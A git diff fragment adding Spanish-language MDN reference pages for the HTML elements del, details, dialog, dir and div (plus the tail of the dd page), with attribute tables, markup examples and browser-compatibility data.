+<div class="hidden">La tabla de compatibilidad de esta página es generada desde datos estructurados. Si desea contribuir, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíe una solicitud de extracción (pull request).</div>
+
+<p>{{Compat("html.elements.dd")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTMLELement("dl")}}</li>
+ <li>{{HTMLElement("dt")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/del/index.html b/files/es/web/html/elemento/del/index.html
new file mode 100644
index 0000000000..b38c85a532
--- /dev/null
+++ b/files/es/web/html/elemento/del/index.html
@@ -0,0 +1,155 @@
+---
+title: del
+slug: Web/HTML/Elemento/del
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/del
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <code style="color: darkblue;">del</code> (deleted-borrado) marca las partes de un texto o documento que han sido suprimidas o sustituidas.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;del&gt; y &lt;/del&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: a veces <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a> a veces <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>:</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: depende, si actua como un elemento en bloque puede contener elementos en bloque y en linea. Pero si actua como un elemento en linea solo podrá contener elementos en linea.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">cite</code></td>
+   <td>URI</td>
+   <td>implícito</td>
+   <td>información sobre el cambio</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">datetime</code></td>
+   <td>fecha</td>
+   <td>implícito</td>
+   <td>fecha y hora del cambio</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene, o dicho de otra manera, tiene los mismos que en el doctype estricto</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente código:</p>
+
+<pre> Ejemplo de ins en linea:
+
+   &lt;p&gt;
+       El agua es insípida &lt;del&gt;y húmeda.&lt;/del&gt; &lt;ins&gt;inodora e incolora.&lt;/ins&gt;
+   &lt;/p&gt;
+
+ Ejemplo de ins en bloque:
+
+   &lt;p&gt;
+       El agua es insípida.
+   &lt;/p&gt;
+
+ &lt;del&gt;
+   &lt;p&gt;
+       y húmeda.
+   &lt;/p&gt;
+ &lt;/del&gt;
+</pre>
+
+<p><br>
+ Se visualiza así:</p>
+
+<div class="highlight">
+<p>Ejemplo de ins en linea:</p>
+
+<p>El agua es insípida</p>
+<del>y húmeda.</del> <ins>inodora e incolora.</ins>
+
+<p>Ejemplo de ins en bloque:</p>
+
+<p>El agua es insípida.</p>
+
+<p> </p>
+
+<p> </p>
+<del>y húmeda. </del></div>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<p>El elemento <a href="es/HTML/Elemento/del">del</a> del tiene un opuesto, el elemento <a href="es/HTML/Elemento/ins">ins</a>. <a href="es/HTML/Elemento/del">del</a>, marca las partes descartadas e <a href="es/HTML/Elemento/ins">ins</a> las insertadas.</p>
diff --git a/files/es/web/html/elemento/details/index.html b/files/es/web/html/elemento/details/index.html
new file mode 100644
index 0000000000..cd8b0c5abb
--- /dev/null
+++ b/files/es/web/html/elemento/details/index.html
@@ -0,0 +1,152 @@
+---
+title: <details>
+slug: Web/HTML/Elemento/details
+tags:
+  - Elemento
+  - Elementos HTML interactivos
+  - HTML
+  - HTML5
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/details
+---
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento HTML Details<strong> &lt;details&gt; </strong>es usado como un widget de revelación a través del cual el usuario puede obtener información adicional .</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Categorías de contenido</a></th>
+   <td><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Contenido dinámico</a> , contenido de seccionamiento, contenido interactivo, contenido palpable .</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Un elemento  {{HTMLElement("summary")}}  seguido de <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">contenido dinámico</a> </td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padres permitidos</th>
+   <td>Cualquier elemento que acepte  <a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">contenido dinámico</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLDetailsElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> .</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>Este atributo Booleano indica si los detalles serán mostrados al usuario cuando la página se cargue . Por default el valor es <code>false </code>y por lo tanto los detalles estarán ocultos.</dd>
+ <dd></dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;Some details&lt;/summary&gt;
+  &lt;p&gt;More info about the details.&lt;/p&gt;
+&lt;/details&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si el el ejemplo de arriba no funciona , ver {{anch("Compatibilidad con navegadores")}}  para determinar si el navegador soporta esta característica .</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'semantics.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>12</td>
+   <td>{{CompatNo}} {{bug(591737)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.0</td>
+   <td>{{CompatNo}} {{bug(591737)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"></h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTMLElement("summary")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/dfn/index.html b/files/es/web/html/elemento/dfn/index.html
new file mode 100644
index 0000000000..03242c90bd
--- /dev/null
+++ b/files/es/web/html/elemento/dfn/index.html
@@ -0,0 +1,112 @@
+---
+title: dfn
+slug: Web/HTML/Elemento/dfn
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/dfn
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Sirve para marcar el término que se quiere definir.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;dfn&gt; y &lt;/dfn&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">&lt;p&gt;
+     El &lt;dfn&gt;HTML&lt;/dfn&gt; es un lenguaje de marcado para hipertextos.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
diff --git a/files/es/web/html/elemento/dialog/index.html b/files/es/web/html/elemento/dialog/index.html
new file mode 100644
index 0000000000..e44363c003
--- /dev/null
+++ b/files/es/web/html/elemento/dialog/index.html
@@ -0,0 +1,152 @@
+---
+title: <dialog>
+slug: Web/HTML/Elemento/dialog
+translation_of: Web/HTML/Element/dialog
+---
+<div>{{HTMLRef}}</div>
+
+<p>El <strong>elemento</strong> <strong>HTML <code>&lt;dialog&gt;</code> </strong>representa una caja de diálogo u otro componente interactivo, como inspector o ventana.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Sectioning_roots">sectioning root</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLDialogElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>. El atributo <code>tabindex</code> no debe utilizarse en el elemento <code>&lt;dialog&gt;</code>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>Indica que el diálogo está activo y disponible para interactuar. Cuando el atributo open no está asignado, no debe mostrarse al usuario.</dd>
+</dl>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<p> </p>
+
+<ul>
+ <li>Los elementos <code>&lt;form&gt;</code> pueden integrarse dentro de un diálogo  especificándolos con el atributo <code>method="dialog"</code>. Cuando se envía un formulario, el diálogo se cierra con un atributo {{domxref("HTMLDialogElement.returnValue", "returnValue")}} asignado con el <code>value</code> del botón utilizado.</li>
+ <li>El pseudo-elemento {{cssxref('::backdrop')}} de CSS puede utilizarse para dar estilos al elemento <code>&lt;dialog&gt;</code>, por ejemplo para atenuar contenido inaccesible mientras el diálogo modal esté activo.</li>
+</ul>
+
+<p> </p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_1">Ejemplo 1</h3>
+
+<pre class="brush: html">&lt;dialog open&gt;
+  &lt;p&gt;Greetings, one and all!&lt;/p&gt;
+&lt;/dialog&gt;
+</pre>
+
+<h3 id="Ejemplo_2">Ejemplo 2</h3>
+
+<pre class="brush: html">&lt;!-- Simple pop-up dialog box, containing a form --&gt;
+&lt;dialog id="favDialog"&gt;
+  &lt;form method="dialog"&gt;
+    &lt;section&gt;
+      &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+      &lt;select id="favAnimal"&gt;
+        &lt;option&gt;&lt;/option&gt;
+        &lt;option&gt;Brine shrimp&lt;/option&gt;
+        &lt;option&gt;Red panda&lt;/option&gt;
+        &lt;option&gt;Spider monkey&lt;/option&gt;
+      &lt;/select&gt;&lt;/p&gt;
+    &lt;/section&gt;
+    &lt;menu&gt;
+      &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+      &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+    &lt;/menu&gt;
+  &lt;/form&gt;
+&lt;/dialog&gt;
+
+&lt;menu&gt;
+  &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+&lt;/menu&gt;
+
+&lt;script&gt;
+  (function() {
+    var updateButton = document.getElementById('updateDetails');
+    var cancelButton = document.getElementById('cancel');
+    var favDialog = document.getElementById('favDialog');
+
+    // Update button opens a modal dialog
+    updateButton.addEventListener('click', function() {
+      favDialog.showModal();
+    });
+
+    // Form cancel button closes the dialog box
+    cancelButton.addEventListener('click', function() {
+      favDialog.close();
+    });
+
+  })();
+&lt;/script&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'semantics.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.elements.dialog")}}</p>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">Formularios HTML</a>.</li>
+ <li>El evento {{event("close")}}</li>
+ <li>El evento {{event("cancel")}}</li>
+ <li>El pseudo-elemento {{cssxref("::backdrop")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/dir/index.html b/files/es/web/html/elemento/dir/index.html
new file mode 100644
index 0000000000..6c95601436
--- /dev/null
+++ b/files/es/web/html/elemento/dir/index.html
@@ -0,0 +1,121 @@
+---
+title: dir
+slug: Web/HTML/Elemento/dir
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/dir
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>El elemento <code style="color: darkblue;">dir</code> (directorio) es un elemento desaprobado. En su origen fue pensado para crear directorios en multicolumna, en la actualidad es inutil.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;dir&gt; y &lt;/dir&gt; (ambas obligatorias).</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#desaprobado">Elemento DESAPROBADO</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: uno o más elementos <a href="es/HTML/Elemento/li">li</a></dd>
+ <dd><strong>NO puede contener</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">Elementos en bloque</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genericos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">de transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">compact</code></td>
+   <td>compact</td>
+   <td>implícito</td>
+   <td>espacio entre objetos reducido</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<p>El siguiente código:</p>
+
+<pre class="eval"> &lt;dir&gt;
+  &lt;li&gt;primer elemento &lt;/li&gt;
+  &lt;li&gt;segundo elemento &lt;/li&gt;
+  &lt;li&gt;tercer elemento &lt;/li&gt;
+ &lt;/dir&gt;
+</pre>
+
+<div class="highlight">
+<p>Se visualiza así:</p>
+
+<ul>
+ <li>primer elemento</li>
+ <li>segundo elemento</li>
+ <li>tercer elemento</li>
+</ul>
+</div>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
diff --git a/files/es/web/html/elemento/div/index.html b/files/es/web/html/elemento/div/index.html
new file mode 100644
index 0000000000..5421099e45
--- /dev/null
+++ b/files/es/web/html/elemento/div/index.html
@@ -0,0 +1,152 @@
+---
+title: div
+slug: Web/HTML/Elemento/div
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/div
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>div</strong> de "division" -<em>división</em> . Sirve para crear secciones o agrupar contenidos.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;div&gt;</code> y <code>&lt;/div&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: <a href="https://developer.mozilla.org/es/docs/Web/HTML/Block-level_elements">Elemento en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: En bloque.</dd>
+ <dd><strong>Puede contener</strong>: Texto, y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#enbloque">en bloque</a> o <a href="es/HTML/Elemento/Tipos_de_elementos#enlinea">en linea</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#events">Eventos:</a> <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">datasrc </code></td>
+   <td>Enlaza a una fuente de datos externa (individual o tabular). Reservado para posibles usos futuros.</td>
+   <td>Una dirección URI. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">datafld </code></td>
+   <td>El nombre de una propiedad o columna de <code style="color: green;">datasrc</code>. Reservado para posibles usos futuros.</td>
+   <td>Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dataformatas </code></td>
+   <td>Indica como deben ser tratados los datos obtenidos de <code style="color: green;">datasrc</code>. Reservado para posibles usos futuros.</td>
+   <td>Uno de los siguientes: <code>'paintext'</code> o <code>'html</code>'. Por defecto: <code>'plaintext'</code></td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">align </code></td>
+   <td>Alineación del texto.</td>
+   <td>Uno de los siguientes: <code>"left", "center", "right",</code> o "justify". Por defecto: <code>'left'</code>, lo fija el navegador</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Div_y_span" name="Div_y_span">Div y span</h4>
+
+<p>código:</p>
+
+<pre class="eval">&lt;<strong>div</strong> style="color: blue;"&gt;
+ &lt;h2&gt; Ejemplo de div y span &lt;/h2&gt;
+  &lt;p&gt;
+    Esto es un párrafo dentro de un div,
+    &lt;span style="color: red;"&gt; y esto un span dentro de un párrafo.&lt;/span&gt;
+  &lt;/p&gt;
+&lt;/<strong>div</strong>&gt;
+</pre>
+
+<p><span class="comment">el wiki causa interferencias Resultado: &lt;div style='border: solid silver 1px;'&gt; &lt;div style="color: blue;"&gt; &lt;h2&gt; Ejemplo de div y span &lt;/h2&gt; &lt;p&gt; Esto es un párrafo dentro de un div, &lt;span style="color: red;"&gt; y esto un span dentro de un párrafo.&lt;/span&gt; &lt;/p&gt; &lt;/div&gt; &lt;/div&gt;</span></p>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#edef-DIV"><strong>div</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
